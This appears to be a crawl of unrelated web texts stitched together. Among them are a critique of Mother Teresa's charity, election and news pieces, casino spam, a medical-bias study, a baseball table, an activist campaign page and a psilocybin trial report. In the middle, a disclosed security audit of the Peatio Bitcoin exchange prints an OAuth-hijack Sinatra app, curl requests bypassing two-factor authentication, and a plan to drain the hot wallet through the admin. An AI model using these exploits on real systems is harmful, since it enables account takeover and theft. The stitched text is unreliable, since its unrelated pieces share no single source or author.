For example, Samity, a man of around 30 with no teeth, who lives in the slums. He is one of the “poorest of the poor” to whom Mother Teresa was supposed to have dedicated her life. With a plastic bag in hand, he stands in a kilometre long queue in Calcutta’s Park Street. The poor wait patiently, until the helpers shovel some rice and lentils into their bags. But Samity does not get his grub from Mother Teresa’s institution, but instead from the Assembly of God, an American charity, that serves 18000 meals here daily. “Mother Teresa?”says Samity, “We have not received anything from her here. Ask in the slums — who has received anything from the sisters here — you will find hardly anybody.”
Another quote from the same piece:
Pannalal Manik also has doubts. “I don’t understand why you educated people in the West have made this woman into such a goddess!” Manik was born some 56 years ago in the Rambagan slum, which at about 300 years of age, is Calcutta’s oldest. What Manik has achieved, can well be called a “miracle”. He has built 16 apartment buildings in the midst of the slum — living space for 4000 people. Money for the building materials — equivalent to DM 10000 per apartment building — was begged for by Manik from the Ramakrishna Mission [a Indian/Hindu charity], the largest assistance-organisation in India. The slum-dwellers built the buildings themselves. It has become a model for the whole of India. But what about Mother Teresa? “I went to her place 3 times,” said Manik. “She did not even listen to what I had to say. Everyone on earth knows that the sisters have a lot of money. But no one knows what they do with it!”
Susan Shields, who used to serve with Mother Teresa’s organization, has been an outspoken critic. Stern magazine’s investigation spoke with her, too:
Perhaps the most lucrative branch of the organisation is the “Holy Ghost” House in New York’s Bronx. Susan Shields served the order there for a total of nine and a half years as Sister Virgin. “We spent a large part of each day writing thank you letters and processing cheques,” she says. “Every night around 25 sisters had to spend many hours preparing receipts for donations. It was a conveyor belt process: some sisters typed, others made lists of the amounts, stuffed letters into envelopes, or sorted the cheques. Values were between $5 and $100.000. Donors often dropped their envelopes filled with money at the door. Before Christmas the flow of donations was often totally out of control. The postman brought sackfuls of letters — cheques for $50000 were no rarity.” Sister Virgin remembers that one year there was about $50 million in a New York bank account. $50 million in one year! — in a predominantly non-Catholic country. How much then, were they collecting in Europe or the world? It is estimated that worldwide they collected at least $100 million per year — and that has been going on for many many years.
Susan goes on to speak of incidents where she asked to buy something to help someone, from bread to communion dresses, and was turned down each time. She recalled that during the Ethiopian famine crisis, donations would come in labelled, “For Ethiopia”. When she asked if she should keep these donations separate have them sent to Ethiopia, the answer was no, but she was to put “For Ethiopia” on the donation receipts she drew up for the gifts.
From another member of the organization, speaking to donors about the orphanage they ran in Calcutta. (Stern)
“On my September visit I had to witness 2 or 3 children lying in the same cot, in totally overcrowded rooms with not a square inch of playing space. The behavioural problems arising as a result cannot be overlooked.” Mrs Wiedeking appeals to the generosity of supporters in view of her powerlessness in the face of the children’s great needs. Powerlessness?! In an organisation with a billion-fortune, which has 3 times as much money available to it as UNICEF is able to spend in all of India? The Missionaries of Charity has have the means to buy cots and build orphanages, — with playgrounds. And they have enoungh money not only for a handful orphans in Delhi but for many thousand orphans who struggle for survival in the streets of Delhi, Bombay and Calcutta.
Stern was able to confirm in that very same report that, in fact, only 7% of the organization’s wealth (according to English authorities) was used for charity.
Even the recipient of her first “miracle” has since been left to wallow in poverty by Mother Teresa’s organization, much to her very vocal disappointment. In Monica Besra’s own words:
“My hut was frequented by nuns of the Missionaries of Charity before the beatification of Mother Teresa,” said Mrs Besra, squatting on the floor of her thatched and mud house in the village of Dangram, 460 miles northeast of Calcutta. “They made of lot of promises to me and assured me of financial help for my livelihood and my children’s education. “After that, they forgot me. I am living in penury. My husband is sick. My children have stopped going to school as I have no money. I have to work in the fields to feed my husband and five children.”
While Sister Theresa has pointed out that critics have not offered a theory on where the money was going, my question is, do we really have to? What we know:
Mother Teresa’s organization, Missionaries of Charity, receives donations well into the millions each year.
The organization touted itself as friends of the poor, a charitable organization.
Mother operated out of poverty-stricken Calcutta.
Her subjects in Calcutta received nothing as a result of these monetary gifts. She kept them living in squalor.
Only 7% of their millions (perhaps even billions) was spent on charity.
Once they got their miracle out of Monica Besra, they dropped her like a bad idea.
Now, one who is willing to be honest with oneself can see, from these few facts, that money was misused. If I were to send money to Missionaries of Charity in Calcutta after seeing images of poor, orphaned children in the care of the sisters, I would expect that at least some of that money would go toward making life better for those children. That
|
acies of delegate math in a 2008 article for PollingReport.com.
The delegate fight now shifts to terrain more favorable to Clinton than Sanders. Nearly 70 percent of Democratic voters in nearly all-white Iowa and New Hampshire self-identified in exit polls as “liberal”—an increase of more than 10 points from 2008. (The Vermonter won among moderates in his neighboring state, but not in Iowa.) After Nevada and South Carolina close out February, the two Democrats will battle in 22 states between March 1 and March 15 to divvy up 2,143 delegates. Twelve of these are “red” states (the Republican kind), and most of those are in the heavily African-American South.
The biggest delegate prize is Texas (54 percent nonwhite electorate in the 2008 Democratic primary). Other big delegate hauls are in swing states like Florida (34 percent nonwhite) and Ohio (24 percent nonwhite). There are some deep blue states where Sanders would be expected to do well, including Massachusetts, and caucus states with healthy liberal populations like Minnesota and Colorado. But the revolution will have to be in full effect for Bernie to win the lion’s share of these states.
While the March electorates are less liberal than New Hampshire and Iowa, it’s still a Democratic primary. Bernie-friendly liberals will exist, not to mention young voters who almost unanimously #FeelTheBern. Texas’ Democratic electorate was 38 percent liberal in 2008, Ohio's 40 percent and Florida's 51 percent. Sanders is working hard on making inroads into communities of color, and presumably he won’t be shut out.
If he can keep Clinton under about 60 percent in most areas, he will keep scooping up delegates. As long as his base sticks with him, and maintains his ability to collect delegates, he will have no incentive to drop out.
Why? Because if you have delegates, you can make demands.
Democrats haven’t dealt with a significant holdout who had enough delegates to do that since 1988. Clinton claimed nearly half the delegates in 2008. But she had no ideological beef with Obama and expressed no interest in the vice presidency, so she made no mischief inside the convention hall. John Kerry and Al Gore won their nominations handily in 2004 and 2000, respectively. Bill Clinton faced a minor nuisance in the form of former Gov. (and now current Gov.) Jerry Brown, who insisted on nominating himself at the 1992 convention and tried to draw attention to an alternative platform. But with only 614 delegates, he lacked the strength to upend the proceedings.
The year 1988 was a far different story. The Rev. Jesse Jackson won 10 states and 1,075 delegates, coming in second to Michael Dukakis’ plurality of 1,790 delegates, needing superdelegates to seal the deal. (Dukakis’ delegate point man? Tad Devine.) Superdelegates are Democratic Party officials who can make their own choice for president, and who are already being viewed with suspicion by Sanders supporters who believe they would block Sanders even if he had the most pledged delegates. (MoveOn.org, a liberal PAC that has endorsed Sanders, launched a petition urging the 712 superdelegates to “back the will of the voters.”) In the midst of the primaries, Jackson called on the party to distribute the superdelegates proportionally according to popular vote totals, which would have increased his delegate share even if he lost the nomination. Don’t be surprised if Team Sanders extends the delegate knife fight to this front as well.
Jackson lost that battle, then proceeded to withhold his endorsement of Dukakis. Instead, he said he deserved vice presidential consideration. Dukakis obliged with multiple face-to-face meetings before the convention.
Even without the extra superdelegates, Jackson’s delegate count hit 26 percent of the total available, which meant he would have a similar amount of representation on the party’s platform committee. And under platform committee rules, with 25 percent you can demand a “minority report”—a public dissent from the official platform.
Jackson used his numbers to instigate public debate over several positions too left-wing for Dukakis’ taste, such as higher taxes and military spending freezes. Most controversially, the eventual minority report backed a Palestinian state.
In the summer of 1988, Dukakis would have preferred to focus on beating George H.W. Bush rather than keeping Jackson in the fold. The process exposed party divisions and became fodder for conservatives. Dukakis was soon to be hammered as a “liberal” by Republicans and beaten in a landslide. He was arguably hurt from the left as well. Dukakis’ aides later groused that Jackson’s provocations contributed to a 4.3 percent drop in black turnout from the previous presidential election.
Hillary Clinton, assuming she’s the nominee, would also want to spend her summer positioning herself for the general election. The Republican primary has been a circus, with polls already indicating that swing voters are turned off by the spectacle. Clinton ideally would pivot from the debate over who is the true “progressive” and target those voters as soon as possible. But a delegate-rich Sanders would likely keep Clinton busy catering to the concerns of him and his base.
To really dominate the proceedings, Sanders would need more than Jackson’s 26 percent of the delegates. A total closer to 40 percent would allow Sanders to claim representation of an ascendant progressive populist wing of the party. Sanders supporters, either taking his cue or acting on their own, could easily use the convention run-up to demand he or his fellow traveler Sen. Elizabeth Warren be nominated for vice president in order to make the party whole. Both options would be fiercely resisted by Clinton, who would worry about their willingness to echo her positions and messages. A possible compromise to satisfy the populists would be Sen. Sherrod Brown, who is very close to Warren and Sanders ideologically but has endorsed Clinton and hails from the key swing state of Ohio.
But that could cause friction with others in the party who want to see a person of color on the ticket, especially if Republicans nominate someone like Jeb Bush or Marco Rubio who would compete for Latino votes. The pressure to pick a rising star like HUD Secretary Julián Castro could collide with economic populist demands and inflict fresh wounds on the party.
Sanders himself probably cares less about the VP slot—he’s too old to treat it as a steppingstone to the presidency—than he does about controlling the party’s platform. He may well envision replicating what Hubert Humphrey pulled off in 1948. The Senate candidate from Minnesota changed the course of history, taking a minority report endorsing civil rights for blacks and forcing a vote on the convention floor to include it in the official platform. He narrowly won the vote, prompting a walkout by Deep South delegates and fundamentally transforming the Democratic Party.
The stronger the Sanders minority, the more plausible it would be to force, and possibly win, floor votes on stricter Wall Street rules, rejecting corporate campaign cash and single-payer health care. Relitigating disagreements from the primary would complicate efforts to present a united front at the convention but would serve Sanders’ long-term goal of transforming the party, as Humphrey once did.
If Sanders wins enough delegates to be nominated—unlikely, but who knows?—he’d have a crisis on his hands even before the general election, since Clinton die-hards might be tempted by an independent Michael Bloomberg candidacy. That dance could resemble the 1980 Republican convention, when conservative hero Ronald Reagan was so worried about moderate voters—who had an option in independent candidate John Anderson—that he tried to persuade former president, and former 1976 primary rival, Gerald Ford to be vice president. Ford snubbed him before the final night of the convention, prompting Reagan to settle on a less famous moderate, his primary runner-up, George H.W. Bush. If Sanders’ idealistic delegates prove to be an unruly bunch, some could even vote to reject a choice designed to appeal to moderates.
But Reagan’s shotgun wedding worked out in the end, as the 1980 Democratic convention was an even more divided affair. Dukakis was not as lucky. He escaped his convention with a solid convention speech and strong polling bounce, yet still struggled to carry his left flank through the campaign in a time when “liberal” was the worst thing you could call a politician.
Since 1988, Democratic conventions have been well-scripted, stage-managed affairs, so much so that news coverage of them has been severely reduced. For those who miss the days of conventions with real drama, you may just get your wish this year.President Trump’s inauguration and the resignation of former CIA Director John Brennan has left the agency without a proper director, as Senate Democrats blocked a vote on the confirmation of Rep. Mike Pompeo (R – KS) as nominee to the position.
Sens. Ron Wyden (D – OR), Patrick Leahy (D – VT), and Richard Blumenthal (D – CT) issued a joint statement complaining Rep. Pompeo’s confirmation vote had been “rushed,” and that they wanted an opportunity to fully vet and question him.
While Sen. Chuck Schumer’s (D – NY) spokesman downplayed the seriousness of the situation, noting Michael Hayden stayed behind to run the CIA after Obama’s inauguration, and Brennan could do the same. Brennan, however, is already out the door, and his deputy director is said to have also resigned.
Rather, Senate Majority Leader Mitch McConnell’s (R – KY) office reported that executive director Meroe Park will serve as acting agency director for the time being. Park is a career CIA employee, and not a political appointee, and had previously served as the agency’s head of human resources.
Last 5 posts by Jason DitzOnline Casino: Play Online Pokies With Free Spins, No Deposit Bonus And No Download To Win Real Money
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For more Fun and entertainment watch this video.UPDATE: Once again - no one was hacked in reality and the audit was conducted for free. This post is simply an attack scenario. You can download the final report and see clarifications here.
For a while we’ve been looking for a project to conduct volunteer security audit. Recently we found a perfect suit for us - an open source crypto currency exchange Peatio powered by Rails.
We dedicated 8 hours to find a way to do the worst you can do with a Bitcoin exchange - steal the hot wallet. The mission was partially accomplished and we found an interesting chain of critical vulnerabilities.
Step 1. Hijacking the account
Peatio has “Connect Weibo account” feature built-in. According to OAuth Security Cheatsheet, poorly implemented OAuth is a reliable way to take over an account.
Connecting attacker’s weibo account to the victim’s Peatio account
omniauth-weibo-oauth2 gem was vulnerable to state fixation. We can set state to arbitrary value (e.g. 123) and apply the attacker’s code instead along with state=123, which will lead to assigning attacker’s weibo to victim’s peatio account. The exact same issue was in omniauth-facebook gem and others omniauth-based libraries copypasting same vulnerable code. It’s funny that the comment above says “to support omniauth-oauth2’s auto csrf protection” but does the opposite and switches it off.
The bug can be exploited with following Sinatra app, just add YourWeiboCookies:
require'sinatra' get '/get_weibo_cb' do conn = Faraday. new ( :url => 'https://api.weibo.com' ) new_url = conn. get do | r | r. url "/oauth2/authorize?client_id=456519107&redirect_uri=https%3A%2F%2Fyunbi.com%2Fauth%2Fweibo%2Fcallback&response_type=code&state=123" r. headers [ 'Cookie' ] =<< COOKIE YourWeiboCookies COOKIE r. options. timeout = 4 r. options. open_timeout = 2 end. headers [ "Location" ] redirect new_url end get '/peatio_demo' do response. headers [ 'Content-Security-Policy' ] = "img-src'self' https://yunbi.com" "<img src='https://yunbi.com/auth/weibo?state=123'><img src='/get_weibo_cb'>" end
What if the user already has Weibo connected?
The system is not going to connect another Weibo account but we wanted the exploit to work seamlessly for every possible victim. So we hacked Weibo’s OAuth.
First, we found out Weibo doesn’t whitelist redirect_uri like Github didn’t. It’s possible to change redirect_uri to another page on the victim domain to leak the code in the Referrer header and then use it to log in victim’s account.
However there was no such page on Peatio to make it leak. No external images, links or anything. The attack surface was so tiny. But then we found this in DocumentsController :
if not @doc redirect_to(request.referer || root_path) return end
Following chain of redirects leaks the code by putting it in the # fragment first.
attacker_page redirects to weibo.com/authorize?...redirect_uri=https://app/documents/not_existing_doc%23... Weibo doesn’t properly parse redirect_uri and redirects the victim to https://app/documents/not_existing_doc#?code=VALID_CODE Peatio cannot find not_existing_doc and sends back Location header equal request.referer which is still attacker_page (the browser retains this header while gets redirected) The browser preserves #?code=VALID_CODE fragment and loads attacker_page#?code=VALID_CODE. Now the code can be leaked with JS via location.hash variable. The code can be used against https://app/auth/weibo/callback to log in the victim’s account.
So using two bugs above we can hijack any peatio account and only last one requires JS.
Step 2: Bypassing 2 Factor Authentication
For users with Google Authenticator activated
There’s a gaping hole in SmsAuthsController - two_factor_required! is only called for show action, but not for update which is actually responsible for activating SMS 2FA.
before_action :auth_member! before_action :find_sms_auth before_action :activated? before_action :two_factor_required!, only: [:show] def show @phone_number = Phonelib.parse(current_user.phone_number).national end def update if params[:commit] =='send_code' send_code_phase else verify_code_phase end end
We can activate new SMS authenticator simply sending following requests straight to update action.
curl ‘https://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&commit=send_code’
curl ‘https://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&sms_auth%5Botp%5D=CODE_WE_RECEIVED’
For users with both Authenticator and SMS
Peatio doesn’t store failed attempts for OTP so it’s very easy to bruteforce both App and SMS OTPs, it will take less than 3 days. For more details check our OTP Bruteforce Calculator
For users with SMS 2FA only
two_factor_by_type method doesn’t use activated scope so even inactive 2FA models can be used. Thus we are not going to brute SMS auth because the victim will start receiving suspicious SMS. We still can bruteforce Google Authenticator because it has seed generated and verify? method is working fine.
def two_factor_by_type current_user.two_factors.by_type(params[:id]) end
Furthermore, SMS 2FA has two more issues
def gen_code self.otp_secret = OTP_LENGTH.times.map{ Random.rand(9) + 1 }.join self.refreshed_at = Time.now end
First issue is Random.rand is based on PRNG (Mersenne Twister) which is easily predictable once you have enough subsequently generated numbers.
Second issue is rand(9) can only generate numbers from 0 to 8 so total number of combinations will be 9^6=531441 almost twice less than 1,000,000 and twice easier to bruteforce than App 2FA.
With tricks outlined above we can bypass 2FA for any user. In worst case scenario it takes less than 3 days. If the victim has only Google Authenticator it takes less than 5 seconds to set up new SMS authenticator.
Step 3: Attacking the admin
Alright, we can hijack the account and bypass 2FA for any user, so we can steal the Bitcoins from anyone who visits our page. Still we need a lot of users to trick into clicking our phishy links. Let’s focus on just one of them - the admin.
The simplest way to make the admin visit our link is to create a support ticket with something like “What is wrong with my account can you please check? https://i.will.hack.you/now”. Then we hack 2FA to get into the /admin panel:
Unfortunately, this is the worst part. The admin of Peatio can do just few more things than a regular user. Nothing like “Send all the coins to this bad guy” or “Show API keys of all users”.
can :update, Proof can :manage, Document can :manage, Member can :manage, Ticket can :manage, IdDocument can :manage, TwoFactor can :menu, Deposit can :manage, Deposit can :manage, ::Deposits::Bank can :manage, ::Deposits::Satoshi can :menu, Withdraw can :manage, ::Withdraws::Bank can :manage, ::Withdraws::Satoshi
The only thing we found is creating a fiat deposit of like 99999999 Chinese Yuan and then accepting it by an admin.
Then we can buy all available Bitcoins and altcoins to withdraw them. However not all Bitcoins are on orders. Doing it in stealth mode for a week can bring better results than closing all the orders in rush mode.
Yunbi assets: 1636 BTC in total and ~350 in the hot wallet
Our bounty: 1 BTC. It wasn’t about money though.
Finally, the report is available to download.
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Jan 10, 2015 • Egor Homakov (@homakov)Doctors’ political beliefs can skew the advice they give patients on sensitive issues such as abortions and cannabis use, according to new research.
A survey of more than 200 doctors found that those with conservative views were more likely than others to discourage patients from having an abortion in the future. They also handed out more stern warnings over the legal and health risks of using cannabis.
The results suggest that doctors’ political leanings can spill over into the guidance, and even the treatments, they offer to patients under their care. The findings build on previous work that has highlighted gender and race biases in the medical treatment different people receive.
“Doctors need to think through these kinds of issues, because if they are dealing with politically sensitive issues, this is unavoidable,” said Eitan Hersh, a political scientist at Yale University. “If we can get this out to physicians, they can be more aware of it.”
“If you’re a patient and you are choosing a new doctor, you might want to know their views beforehand,” Hersh said.
Writing in the journal, Proceedings of the National Academy of Sciences, Hersh and his colleague Matthew Goldenberg, describe how they linked more than 20,000 primary care doctors in 29 US states to their political party affiliations using public voter databases. From these they selected more than 200 doctors, half Democrat, half Republican, to receive a survey from Yale medical school, rather than their own Institution for Social and Policy Studies, to disguise the political nature of the study.
In the survey, the doctors were asked to rate the seriousness of nine scenarios presented by patients. The vignettes included references to drinking too much alcohol, smoking cigarettes, using marijuana, being depressed, visiting sex workers, riding a motorbike without wearing a helmet, storing guns in a house where there were children, and having had two elective abortions in the past.
The doctors more or less agreed on the seriousness of the less politically-charged issues, such as alcohol abuse and not wearing a helmet. But they differed substantially in their reaction to more sensitive issues, such as cannabis use, elective abortions and having guns in the home. The Republicans were more concerned than Democrats about patients having future abortions and using cannabis. Meanwhile, Democrats were more vexed than Republicans at patients having guns in the home.
A similar split emerged when doctors proposed how they would treat each patient. The survey found Republican doctors were more likely to warn patients about the health risks of using too much cannabis. They raised the legal risks of the drug too, and urged patients to cut down. They took a stronger line on abortions, too, the researchers found.
“As a patient, it’s useful to ask ‘is my doctor telling me this because it’s what the medical evidence says, or is it because of their world view?’” Hersh said. “Doctors sometimes say they think of themselves as mechanics, that whatever patient comes in they will treat them the same way. But it’s obvious that’s not true. It’s never the textbook scenario.”
Hersh says the findings point to a need for greater transparency. With that in mind, he is considering setting up a website that links doctors to their political affiliations, an idea he said did not appear to be popular among doctors he had spoken with. “There’s a strong economic incentive for them not to close off half of their business because they are with what patients might regard as the wrong party,” he said.Situational Records | Baseball-Reference.com: W-L Records
generated by a site user
This report was generated using the SHARE link located just above the stat tables on the site. Give it a try!
User's Notes:
Rk Tm Year G W L W-L% RS RA pythW-L% 1 TOR 2015 53 33 20.623 284 179.699 2 STL 2015 58 36 22.621 227 166.639 3 PIT 2015 55 32 23.582 257 228.555 4 CHC 2015 57 32 25.561 211 213.496 5 HOU 2015 54 30 24.556 222 184.585 6 TEX 2015 57 31 26.544 266 294.454 7 KCR 2015 57 29 28.509 224 220.508 8 CLE 2015 63 32 31.508 283 265.530 9 SFG 2015 54 27 27.500 202 192.523 10 NYY 2015 51 25 26.490 217 230.473 11 TBR 2015 65 30 35.462 259 282.461 12 WSN 2015 50 23 27.460 162 183.444 13 OAK 2015 72 33 39.458 295 301.491 14 DET 2015 69 30 39.435 291 334.437 15 SDP 2015 67 29 38.433 251 293.430 16 CHW 2015 69 29 40.420 226 292.385 17 SEA 2015 67 28 39.418 230 289.397 18 CIN 2015 64 26 38.406 234 263.447 19 BOS 2015 64 26 38.406 272 339.401 20 LAD 2015 51 20 31.392 151 177.428 21 MIL 2015 73 28 45.384 247 315.391 22 MIA 2015 63 24 39.381 208 274.377 23 NYM 2015 53 20 33.377 146 208.344 24 MIN 2015 48 18 30.375 174 220.394 25 LAA 2015 54 20 34.370 214 263.407 26 ARI 2015 66 24 42.364 253 310.408 27 ATL 2015 58 21 37.362 205 295.339 28 PHI 2015 63 20 43.317 245 336.359 29 COL 2015 64 20 44.313 277 366.375 30 BAL 2015 62 19 43.306 237 306.385 View Original Table
Generated 8/30/2015. Provided by Baseball-Reference.com Generated 8/30/2015.
Please report any abuse.Marc Emery’s application to be transferred home to Canada for the remainder of his prison sentence was approved by the United States Department of Justice!
Now we need the Canadian Public Safety Minister to review and approve his application, too. Please encourage Canadian Public Safety Minister Steven Blaney to approve Marc’s request to come home!
HOW TO HELP
Please phone the Public Safety Minister’s office and politely request that Canadian citizen Marc Emery be approved for transfer home to Canada from the United States, now that the U.S. Justice Department has approved his request to leave their prison system and finish his sentence at home in Canada. Click here for the Public Safety Minister contact page
Telephone
(613) 944-4875
1-800-830-3118
Fax
(613) 954-5186
Letters are also encouraged, and should request an official response from the Minister with respect to Marc’s transfer application. (Postage not required within Canada)
Minister of Public Safety
House of Commons
Ottawa, ON
K1A 0A6
Canada
Please also contact the Minister’s various Member of Parliament offices, so he receives numerous messages, regardless of where he is working:
Hill Office
House of Commons
Ottawa, Ontario
K1A 0A6
Telephone: 613-992-7434
Fax: 613-995-6856
EMail: [email protected]
Constituency Office(s)
115 President Kennedy Road, Suite 101 (Main Office)
Lévis, Québec
G6V 6C8
Telephone: 418-830-0500
Fax: 418-830-0504
1516-D Route 277
Lac-Etchemin, Québec
G0R 1S0
Telephone: 418-625-2626
Fax: 418-625-4663
FACTS ABOUT MARC EMERY For some points to include in your phone call or letter, please review the facts of Marc and his case below, and more on this page (click here). • Marc Emery is a Canadian citizen who never went to the USA as a seed seller. • Marc Emery operated his seed business in Canada at all times, with no American branches or employees. • Marc Emery declared his income from marijuana seed sales on his income tax, and paid over $580,000 to the Federal and Provincial governments from 1999 to 2005 (when he was arrested and the seed business shut down). • Marc Emery is the leader of the British Columbia Marijuana Party, a registered political party that has regularly participated in elections. • Marc Emery has never been arrested or convicted of manufacturing or distributing marijuana in Canada, as he only sold seeds. • Marc Emery gave away all of the profits from his seed business – millions of dollars – to drug law reform lobbyists, political parties, global protests and rallies, court litigation, medical marijuana initiatives, drug rehabilitation clinics, and other legitimate legal activities and organizations in Canada, the United States, and countries worldwide. • Marc Emery helped found the United States Marijuana Party, state-level political parties, and international political parties in countries such as Israel and New Zealand. • Marc Emery has been known as a book seller and activist in Canada for 30 years, fighting against censorship laws and other social issues long before he became a drug law reform activist. • Marc Emery has been a media figure for 20 years with regards to marijuana and drug law reform. He is very well-known to Canadian, American and international news media organizations. • Marc Emery operated his business in full transparency and honesty since its inception in 1994, even sending his marijuana seed catalogue inside his magazine “Cannabis Culture” to each Member of Parliament in Canada every two months for years.
What did Marc do?
Marc openly ran “Marc Emery Direct Marijuana Seeds” from a store in downtown Vancouver and through mail-order from 1994 to 2005, with the goal to fund anti-prohibition and pro-marijuana activists and organizations across North America and the world.
Marc always paid all provincial and federal taxes on his income and made no secret to anyone of his seed-selling business. Marc was raided by police for selling seeds and bongs in 1996 and again in 1997 and 1998, but despite the seizure of his stock by police, the Canadian courts sentenced Emery only to fines and no jail time.
Canadian police then pressured the American Drug Enforcement Administration (DEA) to launch a cross-border attack against Marc. They arranged to have him charged under America’s much more severe laws against seeds.
Marc was arrested in Canada by American agents in 2005, and originally faced a minimum 30-year sentence in the US, with the possibility of life behind bars. After years of legal efforts, and ensuring his two co-accused received no prison time, Marc made a plea-bargain for a five-year sentence in the US. Marc had originally secured a deal with US officials to serve his five-year sentence in Canada, but the Conservative Government of Canada refused to allow this, and forced him to be extradited to the US.
POLITICAL PRISONER
“Today’s DEA arrest of Marc Scott Emery, publisher of Cannabis Culture Magazine, and the founder of a marijuana legalization group — is a significant blow not only to the marijuana trafficking trade in the U.S. and Canada, but also to the marijuana legalization movement. The US Drug Enforcement Administration admitted on the day of Marc Emery’s arrest that his investigation and extradition were politically motivated, designed to target the marijuana legalization efforts and organizations that Emery spearheaded and financed for over a decade.Here is the original text of DEA Administrator Karen Tandy’s statement released on July 29th, 2005 ( also available in its original letterhead form by clicking here ):
His marijuana trade and propagandist marijuana magazine have generated nearly $5 million a year in profits that bolstered his trafficking efforts, but those have gone up in smoke today. Emery and his organization had been designated as one of the Attorney General’s most wanted international drug trafficking organizational targets — one of only 46 in the world and the only one from Canada. Hundreds of thousands of dollars of Emery’s illicit profits are known to have been channeled to marijuana legalization groups active in the United States and Canada. Drug legalization lobbyists now have one less pot of money to rely on.” On May 10th, 2010, Marc was ordered extradited by Justice Minister Rob Nicholson. He was taken to the USA on May 20th, 2010 and has been serving his sentence in a private for-profit prison in Georgia from late 2010 to April 2011. He was moved to Yazoo City medium security federal prison in Mississippi in April 2011 and has been detained there since.
TweetTom Cleverley has impressed Sherwood since joining Aston Villa on loan from Manchester United
Aston Vila boss Tim Sherwood wants to sign Manchester United midfielder Tom Cleverley on a permanent deal this summer.
The 25-year-old, who is on a season-long loan from Old Trafford, will be out of contract at the end of the current campaign.
Everton are also been reportedly interested in signing the England international, despite manager Roberto Martinez refusing to be drawn on a potential deal.
However, Sherwood admitted Villa avoiding relegation could be crucial to his side being able to attract the player, with his side five points clear of the bottom three going into their final five league matches.
“I’ve been pleased with Tom,” said Sherwood. “I really like him and like what he adds to the side. He adds a lot of energy, gets back round goalside, links the ball very well.
“He certainly is one of the names I put on the team-sheet straight away. We’re certainly interested in talking to Tom, when the time is right.
“Tom and his representatives, and Aston Villa, are willing to put this on the backburner because they know how important it is to stay in the Premier League. After all Tom wouldn’t want to join the club in the Championship.
“I think there is a good chance we will try and do a deal if it’s right for both parties.”This response to my evil god challenge has recently appeared on William Lane Craig’s website, after our debate. It
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At the foot of the couch lay an Oriental rug.
“The whole idea was to create a living room-like setting” that would be relaxing, said study leader Dr. Stephen Ross.
Edlich, whose cancer forced her to retire from teaching French at a private school, had plenty of reason to seek help through the NYU project. Several recurrences of her ovarian cancer had provoked fears about suffering and dying and how her death would affect her family. She felt “profound sadness that my life was going to be cut short.” And she faced existential questions: Why live? What does it all mean? How can I go on?
“These things were in my head and I wanted them to take a back seat to living in the moment,” she said. So when she heard NYU researchers speak about the project at her cancer support group, she was interested.
Psilocybin has been shown to invoke powerful spiritual experiences during the four to six hours it affects the brain. A study published in 2008, in fact, found that even 14 months after healthy volunteers had taken a single dose, most said they were still feeling and behaving better because of the experience. They also said the drug had produced one of the five most spiritually significant experiences they’d ever had.
Experts emphasize people shouldn’t try psilocybin on their own because it can be harmful, sometimes causing bouts of anxiety and paranoia.
The NYU study is testing whether that drug experience can help with the nine months of psychotherapy each participant also gets.
The therapy seeks to help patients live fuller, richer lives with the time they have left.
Each study participant gets two drug-dose experiences, but only one of those involves psilocybin; the other is a placebo dose of niacin, which makes the face flush.
The homey NYU room where Edlich had been getting psychotherapy was the setting for her drug experiences. She had brought along photos of her son, grandchildren and partner. She met with two therapists she’d come to trust, knowing they would stay with her through her hours under the influence.
Taking the drug followed a ritual, including the chalice and the hand-holding, because ritual has been part of psilocybin’s successful use for centuries by traditional cultures, said Ross, the lead researcher.
After swallowing the white pill, Edlich perused an art book for about a half-hour while waiting for the psilocybin to take effect. Then she lay on the couch with headphones and listened to music with eyeshades over her eyes.
After her vision of the brilliantly colored dome, Edlich went on to two more experiences involving parts of her life. She won’t describe those much, even to friends. They “brought me profound sadness and profound grief” but also transformed her understanding of what was important to her in the areas of relationships and trusting, she says.
She sat up and talked with her psychotherapists about what had gone on. And after nine hours in that room, she went home and wrote 30 pages in a diary about what had happened. And she thought about it for weeks afterward.
Did the drug experience help?
It let her view the issues she was working on through a different lens, she said.
“I think it made me more aware of what was so important and what was making me either sad or depressed. I think it was revelatory.”
All three people in the study so far felt better, with less general anxiety and fear of death, and greater acceptance of the dying process, Ross said. No major side effects have appeared. The project plans to enroll a total of 32 people.
Ross’ work follows up on a small study at the University of California, Los Angeles; results haven’t been published yet, but they too are encouraging, according to experts familiar with it.
Yet another study of psilocybin for cancer anxiety, at Johns Hopkins University, has treated 11 out of a planned 44 participants so far. Chief investigator Roland Griffiths said he suspected the results would fall in line with the UCLA work.
In interviews, some psychiatrists who work with cancer patients reacted coolly to the prospects of using psilocybin.
“I’m kind of curious about it,” said Dr. Susan Block of the Dana-Farber Cancer Institute in Boston. She said it’s an open question how helpful the drug experiences could be, and “I don’t think it’s ever going to be a widely used treatment.”
Ross, meanwhile, thinks patients might benefit from more than one dose of the drug during the psychotherapy. The study permits only one dose, but all three participants asked for a second, he said.
Edlich said her single dose “brought me to a deeper place in my mind, that I would never have gone to … I feel a second session would even take me to more important places.
“I would do it a second time in a New York minute.”
Mochila insert follows…Syrian troops and Kurdish fighters ousted ISIS from Hassakeh on Tuesday, more than a month after the jihadists attacked the northeastern city, activists said.
In recent months, ISIS has experienced a series of defeats at the hands of Kurdish militia in north and northeast Syria.
Now the ISIS assault on Hassakeh city, which began on June 25, has ended in defeat after 33 days of fighting.
ISIS had attacked regime-controlled neighbourhoods in the city's south, but the YPG helped push ISIS out of several of these areas.
As ISIS sought to advance in northern Syria, the YPG became one of the main fighting forces pushing back against the jihadis.
Airstrikes by the international coalition fighting ISIS in Syria and Iraq have also contained the group, he said.
...The first wild beavers to be seen in England for centuries are about to be captured by DEFRA and put in a new home - either a zoo or a wildlife park.
Recent video footage has shown a small family of wild beaver thriving in the River Otter in Devon. Experts have said the sighting is important as it strongly suggests a small breeding population of beavers now exists in the UK outside captivity.
A DEFRA spokesman has said: "Depending on the source of the animals, they could be carrying a disease not currently present in the UK. In addition, beavers have not been an established part of our wildlife for the last 500 years. Our landscape and habitats have changed since then and we need to assess the impact they could have."
